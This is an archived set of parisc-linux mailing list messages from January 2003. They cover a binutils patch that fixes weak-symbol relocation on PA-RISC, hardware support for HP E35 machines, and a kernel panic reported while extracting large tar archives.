Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h07KnF1F023893;
	Tue, 7 Jan 2003 15:49:15 -0500 (EST)
In-Reply-To: <3E1AD095.FA5CF165@web.de> from "b.gunreben" at Jan 7, 2003 02:05:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17282

> I have a problem with weak symbols on parisc. If I use the following
> small program, the result should be always (nil), but it isnt:

I believe the enclosed binutils patch will fix the problem.  I will
install it after a little more testing.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2003-01-07  John David Anglin  <dave.anglin@nrc.gc.ca>

	* elf32-hppa.c (final_link_relocate): For all DP relative relocations,
	adjust addil instructions if the symbol has no section.

Index: elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.92
diff -u -3 -p -r1.92 elf32-hppa.c
--- elf32-hppa.c	12 Dec 2002 10:17:14 -0000	1.92
+++ elf32-hppa.c	7 Jan 2003 20:15:48 -0000
@@ -3416,15 +3416,14 @@ final_link_relocate (input_section, cont
     case R_PARISC_DPREL14R:
     case R_PARISC_DPREL14F:
     /* For all the DP relative relocations, we need to examine the symbol's
-       section.  If it's a code section, then "data pointer relative" makes
-       no sense.  In that case we don't adjust the "value", and for 21 bit
-       addil instructions, we change the source addend register from %dp to
-       %r0.  This situation commonly arises when a variable's "constness"
+       section.  If it has no section or if it's a code section, then
+       "data pointer relative" makes no sense.  In that case we don't
+       adjust the "value", and for 21 bit addil instructions, we change the
+       source addend register from %dp to %r0.  This situation commonly
+       arises for undefined weak symbols and when a variable's "constness"
        is declared differently from the way the variable is defined.  For
        instance: "extern int foo" with foo defined as "const int foo".  */
-      if (sym_sec == NULL)
-	break;
-      if ((sym_sec->flags & SEC_CODE) != 0)
+      if (sym_sec == NULL || (sym_sec->flags & SEC_CODE) != 0)
 	{
 	  if ((insn & ((0x3f << 26) | (0x1f << 21)))
 	      == (((int) OP_ADDIL << 26) | (27 << 21)))


From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E35 support
Date: Tue, 07 Jan 2003 23:31:46 +0100
Organization: private
Lines: 56
Approved: news@gmane.org
Message-ID: <3E1B5552.4030700@gmx.at>
References: <20030107200248.GA17555@gevaerts.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622079 19445 80.91.229.3 (22 Nov 2014 02:07:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Frank Gevaerts <frank@gevaerts.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 15:27:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A09C4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 15:27:05 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030107222657.GLYM23424.viefep16-int.chello.at@gmx.at>;
          Tue, 7 Jan 2003 23:26:57 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17283

Hello,

I think you have to wait - as I have to do!

Our Exx machines have absolutly low priority !
All older machines (eg 700er series) or all top new machies
are supported under Linux. For both, there is enough documentation
available.

On the Exx machines (and other series) HP used own-made hardware
(including own-made chips) and there is no available docu.

I wait for an NDA to get HP-UX code, I am waiting, waiting .....
The first driver sceleton has no success. No access to the chip
was possible.

I hope, there is a new day when we are continue hacking on those
drivers !!

What I can say:
At the moment is my spare time very small !

BUT, I want to have my E55 full running - I like this machine and
I want to help here in the development.

When I have more time again, I will do another offensive for getting
code and have assitence in that job ...

Christoph



Frank Gevaerts wrote:
> Hi,
> 
> How far is the E35 support? I have two of these running HP-UX 9. 
> Is there any (rough) timeline of when SCSI will be supported ? 
> I also have HP-28640-80001 ethernet cards and 28655-60001 SCSI/Parallel
> port cards. Will these ever be supported ?
> 
> Frank
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E35 support
Date: Tue, 7 Jan 2003 23:46:29 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <200301072346.29745.deller@gmx.de>
References: <20030107200248.GA17555@gevaerts.be> <3E1B5552.4030700@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622079 19448 80.91.229.3 (22 Nov 2014 02:07:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@gmx.at>,
	Frank Gevaerts <frank@gevaerts.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 15:49:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.65.60])
	by dsl2.external.hp.com (Postfix) with SMTP id 8494D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 15:49:06 -0700 (MST)
Original-Received: (qmail 10820 invoked by uid 0); 7 Jan 2003 22:48:59 -0000
Original-Received: from pd9040e42.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.14.66)
  by mail.gmx.net (mp005-rz3) with SMTP; 7 Jan 2003 22:48:59 -0000
User-Agent: KMail/1.5.9
In-Reply-To: <3E1B5552.4030700@gmx.at>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17284

On Tuesday 07 January 2003 23:31, Christoph Plattner wrote:
> BUT, I want to have my E55 full running - I like this machine and
> I want to help here in the development.

Hey, I really like this kind of enthusiasm :-)
I had the same strange motivation when I started my 
PARISC-hacking 3 1/2 years back.

Much luck,
Helge



From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "b.gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with weak symbols
Date: Tue, 07 Jan 2003 23:49:49 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <3E1B598D.3D31F412@web.de>
References: <200301072049.h07KnF1F023893@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622079 19450 80.91.229.3 (22 Nov 2014 02:07:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 15:50:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp02.web.de [217.72.192.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id E58714829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 15:50:03 -0700 (MST)
Original-Received: from c-180-204-68.n.dial.de.ignite.net ([62.180.204.68] helo=web.de)
	by smtp.web.de with asmtp (WEB.DE(Exim) 4.93 #1)
	id 18W2Xb-0001UQ-00; Tue, 07 Jan 2003 23:49:47 +0100
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17285

John David Anglin wrote:
> =

> > I have a problem with weak symbols on parisc. If I use the following
> > small program, the result should be always (nil), but it isn=B4t:
> =

> I believe the enclosed binutils patch will fix the problem.  I will
> install it after a little more testing.

Thanks, I will try this. If someone knows who is maintaining the XFree86
package of debian, this is the reason why imake does not detect the glibc=

correctly. I tried to debug it myself, but at this point I was stuck. =


This was a fast bugfix:) Thank you

Berthold


From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with weak symbols
Date: Tue, 7 Jan 2003 16:10:58 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20030107231058.GB5217@dsl2.external.hp.com>
References: <200301072049.h07KnF1F023893@hiauly1.hia.nrc.ca> <3E1B598D.3D31F412@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622080 19455 80.91.229.3 (22 Nov 2014 02:08:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:00 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "b.gunreben" <b.gunreben@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 16:10:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 75356484C; Tue,  7 Jan 2003 16:10:58 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3E1B598D.3D31F412@web.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17286

On Tue, Jan 07, 2003 at 11:49:49PM +0100, b.gunreben wrote:
> If someone knows who is maintaining the XFree86 package of debian,

I recently asked the same question:
	apt-cache show xfree86-common
...
Maintainer: Branden Robinson <branden@debian.org>
...

grant



From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E35 support
Date: Wed, 8 Jan 2003 00:20:49 +0100
Organization: ESIEE
Lines: 18
Approved: news@gmane.org
Message-ID: <20030108002049.5312f6ae.varenet@esiee.fr>
References: <20030107200248.GA17555@gevaerts.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622080 19459 80.91.229.3 (22 Nov 2014 02:08:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Frank Gevaerts" <frank@gevaerts.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 16:21:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 220A74829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 16:21:02 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep14-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030107232053.VDSB27572.viefep14-int.chello.at@Bibou>;
          Wed, 8 Jan 2003 00:20:53 +0100
In-Reply-To: <20030107200248.GA17555@gevaerts.be>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17287

On Tue, 7 Jan 2003 21:02:48 +0100
"Frank Gevaerts" <frank@gevaerts.be> wrote:

> Hi,
> 
> How far is the E35 support? I have two of these running HP-UX 9. 
Exactly the one reported at http://pateam.esiee.fr/list.html
We have this box running here at ESIEE...
> Is there any (rough) timeline of when SCSI will be supported ?
Not that I know of. Currently not on pa-ckers top priority list. 
> I also have HP-28640-80001 ethernet cards and 28655-60001 SCSI/Parallel
> port cards. Will these ever be supported ?
No idea. Maybe Ryan Bradetich will? :)

Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when extracting large tar files
Date: Wed, 8 Jan 2003 00:25:21 +0100
Organization: ESIEE
Lines: 23
Approved: news@gmane.org
Message-ID: <20030108002521.21a9c5e7.varenet@esiee.fr>
References: <20030107091704.GC4093@dsl2.external.hp.com>
	<05456AF0-223D-11D7-950D-0030656F07A2@esiee.fr>
	<20030107201319.GA20757@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622080 19460 80.91.229.3 (22 Nov 2014 02:08:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:00 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, jsoe0708@tiscali.be,
	markov@monmouth.com, parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 16:25:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B2DE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 16:25:34 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep15-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030107232527.YBRV3421.viefep15-int.chello.at@Bibou>;
          Wed, 8 Jan 2003 00:25:27 +0100
In-Reply-To: <20030107201319.GA20757@systemhalted>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17288

On Tue, 7 Jan 2003 15:13:19 -0500
"Carlos O'Donell" <carlos@baldric.uwo.ca> wrote:

> > Matthieu Delahaye told me that since the very first days of pa/linux; 
> > this bug has existed, mostly happening on 'un-taring' files, obliging 
> > users to untar by small chunks of data.
> 
> And hardware errors have existed since the beggining of time ;)
Hardware errors happening on several boxes and only when unpacking an archive?
Kinda "feature" heh ? :)
>  
> > FWIW, I experienced that bug too on the A500, had no time to chase it 
> > down but I will look at it soon.
> 
> How big is the file? I routinely tar/untar _very_ large source archives
> on my A500 and I see no problems. 
About 700M gzipped.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when extracting large tar files
Date: Tue, 7 Jan 2003 20:34:58 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20030108013458.GC22018@systemhalted>
References: <20030107091704.GC4093@dsl2.external.hp.com> <05456AF0-223D-11D7-950D-0030656F07A2@esiee.fr> <20030107201319.GA20757@systemhalted> <20030108002521.21a9c5e7.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622081 19462 80.91.229.3 (22 Nov 2014 02:08:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:01 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, jsoe0708@tiscali.be,
	markov@monmouth.com, parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 18:36:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 529DA4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 18:36:16 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18W57S-0006Ad-00; Tue, 07 Jan 2003 20:34:58 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Thibaut VARENE <varenet@esiee.fr>, grundler@dsl2.external.hp.com,
	jsoe0708@tiscali.be, markov@monmouth.com,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030108002521.21a9c5e7.varenet@esiee.fr>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (9% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17289

> > > FWIW, I experienced that bug too on the A500, had no time to chase it 
> > > down but I will look at it soon.
> > 
> > How big is the file? I routinely tar/untar _very_ large source archives
> > on my A500 and I see no problems. 

> About 700M gzipped.

I just unpacked 1234744157 Jan  7 19:33 src.tar.gz into a 4GB source
archive on an ext2 fs. The box didn't even blink. Running 2.4.19-pa22 
parisc64 non-SMP.

As it turns out Vlad's archive is on 14MB's but contains lots of very
small files. I'm trying to get a hold of this to test it out.

c.



From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when extracting large tar files
Date: Tue, 7 Jan 2003 22:20:13 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20030108032013.GD23745@systemhalted>
References: <20030107091704.GC4093@dsl2.external.hp.com> <05456AF0-223D-11D7-950D-0030656F07A2@esiee.fr> <20030107201319.GA20757@systemhalted> <20030108002521.21a9c5e7.varenet@esiee.fr> <20030108013458.GC22018@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622081 19465 80.91.229.3 (22 Nov 2014 02:08:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:01 +0000 (UTC)
To: Thibaut VARENE <varenet@esiee.fr>, grundler@dsl2.external.hp.com,
	jsoe0708@tiscali.be, markov@monmouth.com,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 20:20:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B4114829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 20:20:31 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18W6lJ-0006QD-00; Tue, 07 Jan 2003 22:20:13 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Thibaut VARENE <varenet@esiee.fr>, grundler@dsl2.external.hp.com,
	jsoe0708@tiscali.be, markov@monmouth.com,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030108013458.GC22018@systemhalted>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (31% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17290

> 
> As it turns out Vlad's archive is on 14MB's but contains lots of very
> small files. I'm trying to get a hold of this to test it out.
> 

I just downloaded the archive that Vlad had problems with and it doesn't
crash my machine. We'll need some more detailed info about the hardware,
scsi setup, and the procedure.

c.


From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Foster" <Matt.Foster@Unilever.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: do_page_fault() infinite loop running 2.4.20-pa18 #9 SMP
Date: Wed, 8 Jan 2003 09:36:24 -0000
Organization: GIO
